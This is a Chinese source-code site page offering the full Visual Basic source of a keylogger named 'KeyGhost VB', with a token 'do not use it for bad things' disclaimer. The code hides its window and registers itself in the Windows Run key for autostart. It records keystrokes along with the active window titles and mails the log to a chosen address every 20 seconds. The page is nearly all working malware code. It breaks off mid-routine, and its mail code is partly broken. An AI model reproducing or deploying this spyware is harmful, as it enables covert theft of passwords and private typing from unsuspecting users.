| VB 源码 | VC 源码 | ASP源码 | JSP源码 | PHP源码 | CGI源码 | FLASH源码 | 素材模板 | C 源程序 | 站长工具 | 站长教程 |

VB技术

ASP技术
PHP技术
JSP技术
VB技术
.NET技术

本类阅读TOP10

·VB到底为我们做了什么?
·利用shell编程实现DOS风格的Linux命令行
·屏保程序模板化完整源代码
·用VB6实现中英文文本的私钥加密
·VB解决Unicode文本转换的问题
·用VB编写网络监控软件
·一组VB实用小程序
·新手必学:windows网络编程经典入门
·用VB编写定时关闭计算机的程序
·用VB制作屏幕保护程序

站内搜索

键盘幽灵VB版

  这个是我写的一个类似键盘幽灵的程序,大家自己看看吧。晚上无聊写的,不要拿来做坏事呀。

  mCommon.bas

  Attribute VB_Name = "mFuncation"
  '设置钩子
  Public Function Hook(ByVal hWnd As Long)
    '监视所有消息
    '设置子分类
    lpPrevWndProc = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf WindowProc)
  End Function

  '卸载钩子
  Public Sub UnHook(ByVal hWnd As Long)
    '卸载子分类
    Call SetWindowLong(hWnd, GWL_WNDPROC, lpPrevWndProc)
  End Sub

  '设置CAPS键和NUMLOCK键的状态为开
  Public Function CAPSLOCKON() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then
      While GetAsyncKeyState(VK_CAPITAL)
      Wend
      bOn = GetKeyState(VK_CAPITAL)
      bInit = True
    Else
      If GetAsyncKeyState(VK_CAPITAL) Then
        While GetAsyncKeyState(VK_CAPITAL)
          DoEvents
        Wend
        bOn = Not bOn
      End If
    End If
    CAPSLOCKON = bOn
  End Function

  '取得一个窗体的标题
  Public Function GetCaption(WindowHandle As Long) As String
    Dim strBuffer As String, lngTextLength As Long
    lngTextLength = GetWindowTextLength(WindowHandle)
    strBuffer = String(lngTextLength, 0)
    Call GetWindowText(WindowHandle, strBuffer, lngTextLength + 1)
    GetCaption$ = strBuffer
  End Function

  Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)
  End Function

  mAPI.bas

  Attribute VB_Name = "mAPI"
  '申明API
  Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
  Declare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As Integer
  Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
  Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
  Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
  Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long

  '申明常数
  Const VK_CAPITAL = &H14
  Const REG As Long = 1
  Const HKEY_LOCAL_MACHINE As Long = &H80000002
  Const HWND_TOPMOST = -1

  Const SWP_NOMOVE = &H2
  Const SWP_NOSIZE = &H1

  Const flags = SWP_NOMOVE Or SWP_NOSIZE

  Const GWL_WNDPROC = -4


  frmMain.frm

  VERSION 5.00
  Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
  Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
  Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  Begin VB.Form frmMain
    BorderStyle   =  1 'Fixed Single
    Caption     =  "键盘幽灵-VB版"
    ClientHeight  =  4305
    ClientLeft   =  45
    ClientTop    =  435
    ClientWidth   =  6750
    Icon      =  "frmMain.frx":0000
    LinkTopic    =  "Form1"
    MaxButton    =  0  'False
    MinButton    =  0  'False
    ScaleHeight   =  4305
    ScaleWidth   =  6750
    StartUpPosition =  3 '窗口缺省
    Begin VB.CheckBox chkShowForm
     Caption     =  "实现出现运行设置窗体"
     Enabled     =  0  'False
     Height     =  255
     Left      =  3000
     TabIndex    =  15
     Top       =  1920
     Width      =  2175
    End
    Begin MSWinsockLib.Winsock Winsock1
     Left      =  720
     Top       =  120
     _ExtentX    =  741
     _ExtentY    =  741
     _Version    =  393216
    End
    Begin VB.Timer Timer2
     Enabled     =  0  'False
     Interval    =  20000
     Left      =  5520
     Top       =  3360
    End
    Begin VB.Timer Timer1
     Enabled     =  0  'False
     Interval    =  1
     Left      =  5160
     Top       =  3360
    End
    Begin VB.CommandButton cmdExit
     Caption     =  "退出"
     Height     =  375
     Left      =  4800
     TabIndex    =  14
     Top       =  3840
     Width      =  975
    End
    Begin RichTextLib.RichTextBox txtKeyLog
     Height     =  735
     Left      =  4080
     TabIndex    =  13
     Top       =  840
     Visible     =  0  'False
     Width      =  2415
     _ExtentX    =  4260
     _ExtentY    =  1296
     _Version    =  393217
     ScrollBars   =  3
     DisableNoScroll =  -1 'True
     Appearance   =  0
     TextRTF     =  $"frmMain.frx":08CA
    End
    Begin VB.CommandButton cmdStart
     Caption     =  "确定"
     Height     =  375
     Left      =  3480
     TabIndex    =  12
     Top       =  3840
     Width      =  1095
    End
    Begin VB.TextBox txtEmail
     Appearance   =  0 'Flat
     Enabled     =  0  'False
     Height     =  270
     Left      =  2280
     TabIndex    =  11
     Top       =  3360
     Width      =  2655
    End
    Begin VB.TextBox txtPort
     Alignment    =  2 'Center
     Appearance   =  0 'Flat
     Enabled     =  0  'False
     Height     =  270
     Left      =  5280
     MaxLength    =  5
     TabIndex    =  9
     Text      =  "25"
     Top       =  2940
     Width      =  735
    End
    Begin VB.TextBox txtSmtp
     Appearance   =  0 'Flat
     Enabled     =  0  'False
     Height     =  270
     Left      =  2280
     TabIndex    =  7
     Text      =  "Localhost"
     Top       =  2940
     Width      =  2655
    End
    Begin VB.CheckBox chkSendMail
     Caption     =  "是否将键盘记录以电子邮件发送到自动的EMAIL中"
     Height     =  375
     Left      =  240
     TabIndex    =  5
     Top       =  2400
     Width      =  4335
    End
    Begin VB.CheckBox chkStartup
     Caption     =  "启动时是否自动运行"
     Height     =  255
     Left      =  240
     TabIndex    =  4
     Top       =  1920
     Width      =  2415
    End
    Begin VB.CommandButton cmdSavePath
     Appearance   =  0 'Flat
     Caption     =  "..."
     Enabled     =  0  'False
     Height     =  255
     Left      =  3240
     TabIndex    =  3
     Top       =  1440
     Width      =  495
    End
    Begin VB.TextBox txtFilePath
     Appearance   =  0 'Flat
     Enabled     =  0  'False
     Height     =  270
     Left      =  240
     TabIndex    =  2
     Top       =  1440
     Width      =  2895
    End
    Begin MSComDlg.CommonDialog cdgSaveFile
     Left      =  120
     Top       =  120
     _ExtentX    =  847
     _ExtentY    =  847
     _Version    =  393216
     DialogTitle   =  "保存键盘记录文件"
     Filter     =  "文本文件(*.txt)|*.txt"
     InitDir     =  "c:\"
    End
    Begin VB.CheckBox chkSaveFile
     Caption     =  "是否将记录存储为文件"
     Height     =  255
     Left      =  240
     TabIndex    =  1
     Top       =  960
     Width      =  2295
    End
    Begin VB.Label lblEmail
     Alignment    =  2 'Center
     AutoSize    =  -1 'True
     Caption     =  "Email:"
     Enabled     =  0  'False
     Height     =  180
     Left      =  1560
     TabIndex    =  10
     Top       =  3420
     Width      =  630
    End
    Begin VB.Label lblPort
     Alignment    =  2 'Center
     AutoSize    =  -1 'True
     Caption     =  ":"
     Enabled     =  0  'False
     Height     =  180
     Left      =  5040
     TabIndex    =  8
     Top       =  3000
     Width      =  180
    End
    Begin VB.Label lblSmtp
     Alignment    =  2 'Center
     AutoSize    =  -1 'True
     Caption     =  "Smtp服务器:"
     Enabled     =  0  'False
     Height     =  180
     Left      =  1080
     TabIndex    =  6
     Top       =  3000
     Width      =  1080
    End
    Begin VB.Label lblAppName
     Alignment    =  2 'Center
     AutoSize    =  -1 'True
     Caption     =  "运行设定"
     BeginProperty Font
       Name      =  "华文彩云"
       Size      =  26.25
       Charset     =  134
       Weight     =  400
       Underline    =  0  'False
       Italic     =  0  'False
       Strikethrough  =  0  'False
     EndProperty
     Height     =  540
     Left      =  2310
     TabIndex    =  0
     Top       =  240
     Width      =  2115
    End
  End
  Attribute VB_Name = "frmMain"
  Attribute VB_GlobalNameSpace = False
  Attribute VB_Creatable = False
  Attribute VB_PredeclaredId = True
  Attribute VB_Exposed = False
  '枚举SMTP的各种状态
  Private Enum SMTP_State
    MAIL_CONNECT
    MAIL_HELO
    MAIL_FROM
    MAIL_RCPTTO
    MAIL_DATA
    MAIL_DOT
    MAIL_QUIT
  End Enum

  '申明变量
  Dim strWindow As String
  Dim strErrorFile As String
  Dim m_State As SMTP_State

  Private Sub chkSaveFile_Click()
    If chkSaveFile.Value = Checked Then
      txtFilePath.Enabled = True
      cmdSavePath.Enabled = True
    Else
      txtFilePath.Enabled = False
      cmdSavePath.Enabled = False
    End If
  End Sub

  Private Sub chkSendMail_Click()
    If chkSendMail.Value = Checked Then
      lblSmtp.Enabled = True
      txtSmtp.Enabled = True
      lblPort.Enabled = True
      txtPort.Enabled = True
      lblEmail.Enabled = True
      txtEmail.Enabled = True
    Else
      lblSmtp.Enabled = False
      txtSmtp.Enabled = False
      lblPort.Enabled = False
      txtPort.Enabled = False
      lblEmail.Enabled = False
      txtEmail.Enabled = False
    End If
  End Sub

  Private Sub chkStartup_Click()
    If chkStartup.Value = Checked Then
      chkShowForm.Enabled = True
    Else
      chkShowForm.Enabled = False
    End If
  End Sub

  Private Sub cmdExit_Click()
    Unload Me
    End
  End Sub

  Private Sub cmdSavePath_Click()
    cdgSaveFile.ShowSave
    txtFilePath.Text = cdgSaveFile.FileName
  End Sub

  Private Sub cmdStart_Click()
    Dim objWSHShell As Object
    Set objWSHShell = CreateObject("WScript.Shell")
    If chkSaveFile.Value = Checked Then
      If txtFilePath.Text = "" Then
        MsgBox "键盘日志文件保存目录为空", vbOKOnly, "错误"
        Exit Sub
      End If
      SaveSetting App.EXEName, "Setting", "SaveFile", "True"
      SaveSetting App.EXEName, "Setting", "FilePath", txtFilePath.Text
      Open txtFilePath.Text For Append As #1
        Write #1, vbCrLf
        Write #1, "[日志开始时间: " & Now & "]" '日志开始记录时间
        Write #1, String(50, "-")
      Close #1
    Else
      SaveSetting App.EXEName, "Setting", "SaveFile", "False"
      SaveSetting App.EXEName, "Setting", "FilePath", ""
    End If

    If chkSendMail.Value = Checked Then
      If txtEmail.Text = "" Or txtSmtp.Text = "" Or txtPort.Text = "" Then
        MsgBox "请填写完整的邮件信息", vbOKOnly, "错误"
        Exit Sub
      End If
      SaveSetting App.EXEName, "Setting", "SendMail", "True"
      SaveSetting App.EXEName, "Setting", "Smtp", txtSmtp.Text
      SaveSetting App.EXEName, "Setting", "Port", txtPort.Text
      SaveSetting App.EXEName, "Setting", "Email", txtEmail.Text
    Else
      SaveSetting App.EXEName, "Setting", "SendMail", "False"
      SaveSetting App.EXEName, "Setting", "Smtp", ""
      SaveSetting App.EXEName, "Setting", "Port", ""
      SaveSetting App.EXEName, "Setting", "Email", ""
    End If
    If chkStartup.Value = Checked Then
      SaveSetting App.EXEName, "Setting", "StartUp", "True"
      objWSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\KeyGhost-VB", App.Path & "\" & App.EXEName & ".EXE"
      If chkShowForm.Value = Checked Then
        SaveSetting App.EXEName, "Setting", "ShowForm", "True"
      Else
        SaveSetting App.EXEName, "Setting", "ShowForm", "False"
      End If
    Else
      objWSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\KeyGhost-VB", ""
      SaveSetting App.EXEName, "Setting", "StartUp", "False"
    End If
    Timer1.Enabled = True
    Timer2.Enabled = True
    Me.Visible = False
  End Sub

  Private Sub Form_Load()
    '如果程序以运行,则不再运行本程序
    If App.PrevInstance = True Then
      Unload Me
      End
    End If

    Hook Me.hWnd

    If GetSetting(App.EXEName, "Setting", "SaveFile") = "True" Then
      chkSaveFile.Value = Checked
      txtFilePath.Enabled = True
      cmdSavePath.Enabled = True
    End If
    If GetSetting(App.EXEName, "Setting", "FilePath") <> "" Then
      txtFilePath.Text = GetSetting(App.EXEName, "Setting", "FilePath")
    End If
    If GetSetting(App.EXEName, "Setting", "SendMail") = "True" Then
      chkSendMail.Value = Checked
      lblSmtp.Enabled = True
      txtSmtp.Enabled = True
      lblPort.Enabled = True
      txtPort.Enabled = True
      lblEmail.Enabled = True
      txtEmail.Enabled = True
    End If
    If GetSetting(App.EXEName, "Setting", "Smtp") <> "" Then
      txtSmtp.Text = GetSetting(App.EXEName, "Setting", "Smtp")
    End If
    If GetSetting(App.EXEName, "Setting", "Port") <> "" Then
      txtPort.Text = GetSetting(App.EXEName, "Setting", "Port")
    End If
    If GetSetting(App.EXEName, "Setting", "Email") <> "" Then
      txtEmail.Text = GetSetting(App.EXEName, "Setting", "Email")
    End If
    If GetSetting(App.EXEName, "Setting", "StartUp") = "True" Then
      chkStartup.Value = Checked
      If GetSetting(App.EXEName, "Setting", "ShowForm") = "True" Then
        chkShowForm.Value = Checked
        Me.Visible = True
      Else
        chkShowForm.Value = Checked
        cmdStart_Click
      End If
    End If

    strWindow = GetCaption(GetForegroundWindow)
  End Sub

  Private Sub Form_Unload(Cancel As Integer)
    UnHook Me.hWnd
  End Sub

  '每隔20秒将键盘记录写入文件或以电子邮件发送出去
  Private Sub Timer2_Timer()

  If chkSaveFile.Value = Checked Then
    Open txtFilePath.Text For Append As #1
      Write #1, txtKeyLog.Text
    Close #1

    '清空RichTextBox控件的内容以释放内存
    txtKeyLog.Text = ""
  End If

  If chkSendMail.Value = Checked Then
    Winsock1.Connect Trim(txtSmtp.Text), CInt(txtPort.Text)
    m_State = MAIL_CONNECT
  End If
  End Sub

  Private Sub txtPort_KeyPress(KeyAscii As Integer)
    Select Case KeyAscii
      Case 48 To 57
      Case vbKeyBack, vbKeyTab
      Case Else
        KeyAscii = 0
    End Select
  End Sub

  Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

    Dim strServerResponse  As String
    Dim strResponseCode   As String
    Dim strDataToSend    As String
    Winsock1.GetData strServerResponse
    strResponseCode = Left(strServerResponse, 3)
    If strResponseCode = "250" Or _
      strResponseCode = "220" Or _
      strResponseCode = "354" Then
      Select Case m_State
        Case MAIL_CONNECT
          m_State = MAIL_HELO
          strDataToSend = Trim(txtEmail.Text)
          strDataToSend = Left(strDataToSend, _
                  InStr(1, strDataToSend, "@") - 1)
          Winsock1.SendData "HELO " & strDataToSend & vbCrLf
        Case MAIL_HELO
          m_State = MAIL_FROM
          Winsock1.SendData "MAIL FROM:" & "" & vbCrLf
        Case MAIL_FROM
          m_State = MAIL_RCPTTO
          Winsock1.SendData "RCPT TO:" & Trim(txtEmail.Text) & vbCrLf
        Case MAIL_RCPTTO
          m_State = MAIL_DATA
          Winsock1.SendData "DATA" & vbCrLf
        Case MAIL_DATA
          m_State = MAIL_DOT
          Winsock1.SendData "Subject:" & "键盘幽灵-VB版键盘记录文件" & Now & vbLf & vbCrLf
          Dim varLines  As Variant
          Dim varLine   As Variant
          Dim strMessage As String
          strMessage = txtKeyLog.Text & vbCrLf & vbCrLf
          Winsock1.SendData "." & vbCrLf
        Case MAIL_DOT
          m_State = MAIL_QUIT
          Winsock1.SendData "QUIT" & vbCrLf
        Case MAIL_QUIT
          Winsock1.Close
      End Select
    Else
      Winsock1.Close
      If Not m_State = MAIL_QUIT Then
        strErrorFile = "errorlog.txt"
        Open App.Path & "\" & strErrorFile For Append As #2
          Write #2, "邮件发送错误:" & Number & Description & vbCrLf
        Close #2
      End If
    End If
  End Sub

  Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    strErrorFile = "errorlog.txt"
    Open App.Path & "\" & strErrorFile For Append As #2
      Write #2, "邮件发送错误:" & Number & Description & vbCrLf
    Close #2
  End Sub
  Private Sub Timer1_Timer()
  '如果取得的窗口标题不是前面变量中存储的标题,则重新改变设置变量的值,并且重新设置键盘记录内容
  If strWindow <> GetCaption(GetForegroundWindow) Then
    strWindow = GetCaption(GetForegroundWindow)
    txtKeyLog.Text = txtKeyLog.Text & Chr(13) & Chr(13) & "[" & Time & " - 窗口: " & strWindow & "]" & Chr(13)
  End If

  '下面的程序将记录键盘的操作,并保存在RichTextBox控件中

  '按Ctrl + lngShift + F12则呼叫本程序

  Dim lngKeyState As Long
  Dim lngShift As Long
  lngShift = GetAsyncKeyState(vbKeyShift)

  '记录大写字母A和小写字母a
  lngKeyState = GetAsyncKeyState(vbKeyA)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "A"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "a"
  End If

  '记录大写字母B和小写字母b
  lngKeyState = GetAsyncKeyState(vbKeyB)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "B"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "b"
  End If

  '记录大写字母C和小写字母c
  lngKeyState = GetAsyncKeyState(vbKeyC)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "C"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "c"
  End If

  '记录大写字母D和小写字母d
  lngKeyState = GetAsyncKeyState(vbKeyD)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "D"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "d"
  End If

  '记录大写字母E和小写字母e
  lngKeyState = GetAsyncKeyState(vbKeyE)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "E"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "e"
  End If

  '记录大写字母F和小写字母f
  lngKeyState = GetAsyncKeyState(vbKeyF)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "F"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "f"
  End If

  '记录大写字母G和小写字母g
  lngKeyState = GetAsyncKeyState(vbKeyG)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "G"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "g"
  End If

  '记录大写字母H和小写字母h
  lngKeyState = GetAsyncKeyState(vbKeyH)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "H"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "h"
  End If

  '记录大写字母I和小写字母i
  lngKeyState = GetAsyncKeyState(vbKeyI)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "I"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "i"
  End If

  '记录大写字母J和小写字母j
  lngKeyState = GetAsyncKeyState(vbKeyJ)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "J"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "j"
  End If

  '记录大写字母K和小写字母k
  lngKeyState = GetAsyncKeyState(vbKeyK)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "K"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "k"
  End If

  '记录大写字母L和小写字母l
  lngKeyState = GetAsyncKeyState(vbKeyL)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "L"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "l"
  End If

  '记录大写字母M和小写字母m
  lngKeyState = GetAsyncKeyState(vbKeyM)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "M"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "m"
  End If

  '记录大写字母N和小写字母n
  lngKeyState = GetAsyncKeyState(vbKeyN)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "N"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "n"
  End If

  '记录大写字母O和小写字母o
  lngKeyState = GetAsyncKeyState(vbKeyO)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "O"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "o"
  End If

  '记录大写字母P和小写字母p
  lngKeyState = GetAsyncKeyState(vbKeyP)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "P"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "p"
  End If

  '记录大写字母Q和小写字母q
  lngKeyState = GetAsyncKeyState(vbKeyQ)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "Q"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "q"
  End If

  '记录大写字母R和小写字母r
  lngKeyState = GetAsyncKeyState(vbKeyR)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "R"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "r"
  End If

  '记录大写字母S和小写字母s
  lngKeyState = GetAsyncKeyState(vbKeyS)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "S"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "s"
  End If

  '记录大写字母T和小写字母t
  lngKeyState = GetAsyncKeyState(vbKeyT)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "T"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "t"
  End If

  '记录大写字母U和小写字母u
  lngKeyState = GetAsyncKeyState(vbKeyU)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "U"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "u"
  End If

  '记录大写字母V和小写字母v
  lngKeyState = GetAsyncKeyState(vbKeyV)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "V"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "v"
  End If

  '记录大写字母W和小写字母w
  lngKeyState = GetAsyncKeyState(vbKeyW)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "W"
  End If
